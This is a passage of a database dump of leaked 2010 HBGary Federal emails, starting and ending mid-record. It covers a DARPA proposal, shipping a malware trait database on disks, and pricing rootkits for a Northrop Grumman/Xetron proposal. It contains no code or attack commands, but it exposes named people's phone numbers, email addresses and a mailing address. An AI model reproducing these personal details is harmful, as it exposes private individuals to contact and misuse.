Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11892,'aaron_hbgary_com/11892.html'),(3597,'2010-03-05','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001813.M374530P3547Q3597.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nJust give me a ring at 210-542-0777.\r\n\r\n-- Adam\r\n\r\nOn 3/5/10 12:17 PM, Aaron Barr wrote:\r\n> what #?\r\n> \r\n> What is ur # adam?\r\n> \r\n> On Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>>\r\n>> Are you available for a call at 1PM EST?\r\n>> If so, can you call into our conference line: 256.325.4671.\r\n>>\r\n>> 	Regards,\r\n>> 	Irby\r\n>>\r\n>>\r\n>>\r\n>> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n>>\r\n>>> Irby,\r\n>>>\r\n>>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>>>\r\n>>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>>>\r\n>>>> 	Regards,\r\n>>>> 	Irby\r\n>>>>\r\n>>>> \r\n>>>>\r\n>>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> Hi Irby,\r\n>>>>>\r\n>>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>>\r\n>>>>> \r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',10807,'aaron_hbgary_com/10807.html'),(3598,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001813.M868417P3547Q3598.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Two things','What is the address u want the disks sent to.Your going to get 2 sets of disks. &nbsp;One from Ted and one from Shawn. &nbsp;The disk from Shawn will be 2 disks, about 4 gigs or so of data with associated comma delimmited text files with all the associated DDNA traits. &nbsp;Start with those, they will tell you which MD5 hash file to look for.AaronOn Mar 5, 2010, at 9:33 AM, Masterson, Brian (Xetron) wrote:Aaron,Daily ping because I am getting back from the guys working the Cyber Threat IRAD.&nbsp; We need data!&nbsp; They sort of hung evaluating what the initial step are til they get a decent repository to begin working with.&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 11:14 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok update.&nbsp;Forget the encrypted file. &nbsp;it is for a very good rootkit that GD funded which we have IP rights to, but GD has it also, they paid for it. &nbsp;The NexGen rootkit is still only in Gregs head and haven\'t been able to get it out, albeit it has been sporadic on my part. &nbsp;I will have better luck after RSA is over, but not good enough for your proposal.&nbsp;The memory module one, looking for the paper that was written...not having any luck. &nbsp;I thought Bob was the one that told me we had that written up but now he says it wasn\'t him...ugh.&nbsp;On the trait/malware database. &nbsp;Ted is working with Shawn to get a bunch of it dropped to a disk that we can mail you to get you started and then we can work on getting more. &nbsp;The current database is immeshed with the actual feed portal which includes all the tickets, etc.&nbsp;Aaron&nbsp;On Mar 4, 2010, at 10:48 AM, Masterson, Brian (Xetron) wrote:Need the repository with the detected traits for each item included.&nbsp; Need to know what the traits are but not how they are detected nor how the overall scoring is calculated.&nbsp; Just need to know what traits contributed to the score and what the traits are.&nbsp;Agree with you on that.&nbsp; However, I am going to submit to AFRL after this one.&nbsp;Will call for the password in a bit.&nbsp; Getting ready for a Jadik mtg.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:41 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;OK still working on the repository, its slow because everyone that can make decisions and actually provide access are to the four corners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.&nbsp;Traits are in responder but not accessible in total. &nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked why...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to push out externally is our algorithms for doing the scoring...but would we need that?&nbsp;I am going to feel better when this proposal is over.&nbsp;On Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:Not trying to nag but while I am running through actions, we need your malware repository with the traits.&nbsp; The guys working the cyber threat IRAD need access to the data.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:31 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?&nbsp;Aaron&nbsp;On Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4640,'aaron_hbgary_com/4640.html'),(3599,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001814.M312345P3547Q3600.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: IP meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Friday, March 05, 2010 12:31 PM\r\nTo: Starr, Christopher H.\r\nSubject: RE: IP meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nYes, 2pm works.&nbsp; Attached\r\nis a doc we can refer to during the conversation.&nbsp; It organizes my\r\nthinking and questions to your IP guru.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice\r\nPresident&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. [mailto:Chris.Starr@gd-ais.com] \r\nSent: Friday, March 05, 2010 11:09 AM\r\nTo: Bob Slapnik\r\nSubject: IP meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob, \r\n\r\n&nbsp;\r\n\r\nLooks like 2 PM or after is when our IP guru is\r\navailable.&nbsp; Will this be ok for you?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/05/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16156,'aaron_hbgary_com/16156.html'),(3600,'2010-03-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001814.M543978P3547Q3601.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n460 West Crescentville Road\r\n\r\nCincinnati OH 45246\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 1:49 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat is the address u want the disks sent to.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYour going to get 2 sets of disks. &nbsp;One from Ted and\r\none from Shawn. &nbsp;The disk from Shawn will be 2 disks, about 4 gigs or so\r\nof data with associated comma delimmited text files with all the associated\r\nDDNA traits. &nbsp;Start with those, they will tell you which MD5 hash file to\r\nlook for.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 9:33 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nDaily ping because I am getting back from the guys working the\r\nCyber Threat IRAD.&nbsp; We need data!&nbsp; They sort of hung evaluating what\r\nthe initial step are til they get a decent repository to begin working with.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 11:14 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nok update.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nForget the encrypted file. &nbsp;it is for a very good\r\nrootkit that GD funded which we have IP rights to, but GD has it also, they\r\npaid for it. &nbsp;The NexGen rootkit is still only in Gregs head and haven\'t\r\nbeen able to get it out, albeit it has been sporadic on my part. &nbsp;I will\r\nhave better luck after RSA is over, but not good enough for your proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe memory module one, looking for the paper that was\r\nwritten...not having any luck. &nbsp;I thought Bob was the one that told me we\r\nhad that written up but now he says it wasn\'t him...ugh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn the trait/malware database. &nbsp;Ted is working with\r\nShawn to get a bunch of it dropped to a disk that we can mail you to get you\r\nstarted and then we can work on getting more. &nbsp;The current database is\r\nimmeshed with the actual feed portal which includes all the tickets, etc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 10:48 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNeed the repository with the detected traits for each item\r\nincluded.&nbsp; Need to know what the traits are but not how they are detected\r\nnor how the overall scoring is calculated.&nbsp; Just need to know what traits\r\ncontributed to the score and what the traits are.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgree with you on that.&nbsp; However, I am going to submit to\r\nAFRL after this one.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWill call for the password in a bit.&nbsp; Getting ready for a\r\nJadik mtg.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 10:41 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK still working on the repository, its slow because everyone\r\nthat can make decisions and actually provide access are to the four corners\r\ndoing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTraits are in responder but not accessible in total.\r\n&nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked\r\nwhy...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to\r\npush out externally is our algorithms for doing the scoring...but would we need\r\nthat?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am going to feel better when this proposal is over.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot trying to nag but while I am running through actions, we\r\nneed your malware repository with the traits.&nbsp; The guys working the cyber\r\nthreat IRAD need access to the data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 10:31 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nok I got the writup for the 12monkeys rootkit. &nbsp;Working\r\non cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you\r\nhave a PGP Key?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I\r\nhave to know if you want me to insert Greg&#8217;s new rootkit concept as an option\r\ninto our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the\r\nproposal by COB today, tomorrow at the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For\r\nthe next proposal, would you be interested in teaming to use AFR as a\r\ndiscriminator?&nbsp; I need to convince the proposal lead but if you are\r\ninterested, I will try.&nbsp; Could make for a story that&nbsp;no\r\none else would think to tell.&nbsp;\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1293,'aaron_hbgary_com/1293.html'),(3601,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001814.M70172P3547Q3599.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Tech content from Martin','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin, please reply to confirm if this is correct or modify\r\nwhere incorrect or incomplete.\r\n\r\n&nbsp;\r\n\r\nDATA FLOW TRACING\r\n\r\nEMULATED CPU STATE MACHINE\r\n\r\n&nbsp;\r\n\r\nI give you this content so you can include it in the AFR\r\nsection.&nbsp; Martin said a big chunk of the AFR problem has been\r\nsolved.&nbsp; (We don&#8217;t need to tell DARPA this.)&nbsp; \r\n\r\n&nbsp;\r\n\r\nData flow tracing is a key component of AFR.&nbsp; In\r\nResponder&#8217;s disassembly system is an auto label feature.&nbsp; To make\r\nthis feature work Martin had to implement data flow tracing.\r\n\r\n&nbsp;\r\n\r\nToday data flow tracing works at the function level.&nbsp;\r\nMartin would have to extend it for the entire binary across many functions.&nbsp;\r\nIt is written in C# now.&nbsp; He would have to rewrite it in C++ for speed.\r\n\r\n&nbsp;\r\n\r\nThis data flow tracing is actually static analysis on\r\ndisassembled code.&nbsp; Nothing is being executed.&nbsp; It is an emulation\r\nenvironment where there is a giant emulated CPU state machine that emulates all\r\nthings the CPU does.&nbsp; So Martin emulates how data flows through the code\r\nand he &#8220;operates&#8221; on it like a real CPU would.\r\n\r\n&nbsp;\r\n\r\nMe connecting some dots&#8230;&#8230;&#8230;AFR is actually\r\na combination of static and dynamic analysis. &nbsp;Suppose we are sitting at a\r\nfork in the code.&nbsp; Execution has temporarily stopped.&nbsp; Statefulness\r\nhas been snapshotted.&nbsp; Seems to me that AFR does some data flow analysis\r\n(which is static analysis of how data is supposed to move their the code) to\r\nfigure out what the buffers or data inputs need to look like in order to take\r\nthe left or right branch. When the data is crafted execution starts back up\r\nwhich brings us into dynamic analysis where we can continue harvesting runtime\r\ndata.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6785,'aaron_hbgary_com/6785.html'),(3602,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001814.M817205P3547Q3602.eml','shawn@hbgary.com','Fwd: Two things','Here you go Shawn. &nbsp;Thanks.Begin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: March 5, 2010 2:04:35 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Two things460 West Crescentville RoadCincinnati OH 45246&nbsp;Thanks!&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 05, 2010 1:49 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;What is the address u want the disks sent to.&nbsp;Your going to get 2 sets of disks. &nbsp;One from Ted and one from Shawn. &nbsp;The disk from Shawn will be 2 disks, about 4 gigs or so of data with associated comma delimmited text files with all the associated DDNA traits. &nbsp;Start with those, they will tell you which MD5 hash file to look for.&nbsp;Aaron&nbsp;On Mar 5, 2010, at 9:33 AM, Masterson, Brian (Xetron) wrote:Aaron,Daily ping because I am getting back from the guys working the Cyber Threat IRAD.&nbsp; We need data!&nbsp; They sort of hung evaluating what the initial step are til they get a decent repository to begin working with.&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 11:14 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok update.&nbsp;Forget the encrypted file. &nbsp;it is for a very good rootkit that GD funded which we have IP rights to, but GD has it also, they paid for it. &nbsp;The NexGen rootkit is still only in Gregs head and haven\'t been able to get it out, albeit it has been sporadic on my part. &nbsp;I will have better luck after RSA is over, but not good enough for your proposal.&nbsp;The memory module one, looking for the paper that was written...not having any luck. &nbsp;I thought Bob was the one that told me we had that written up but now he says it wasn\'t him...ugh.&nbsp;On the trait/malware database. &nbsp;Ted is working with Shawn to get a bunch of it dropped to a disk that we can mail you to get you started and then we can work on getting more. &nbsp;The current database is immeshed with the actual feed portal which includes all the tickets, etc.&nbsp;Aaron&nbsp;On Mar 4, 2010, at 10:48 AM, Masterson, Brian (Xetron) wrote:Need the repository with the detected traits for each item included.&nbsp; Need to know what the traits are but not how they are detected nor how the overall scoring is calculated.&nbsp; Just need to know what traits contributed to the score and what the traits are.&nbsp;Agree with you on that.&nbsp; However, I am going to submit to AFRL after this one.&nbsp;Will call for the password in a bit.&nbsp; Getting ready for a Jadik mtg.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 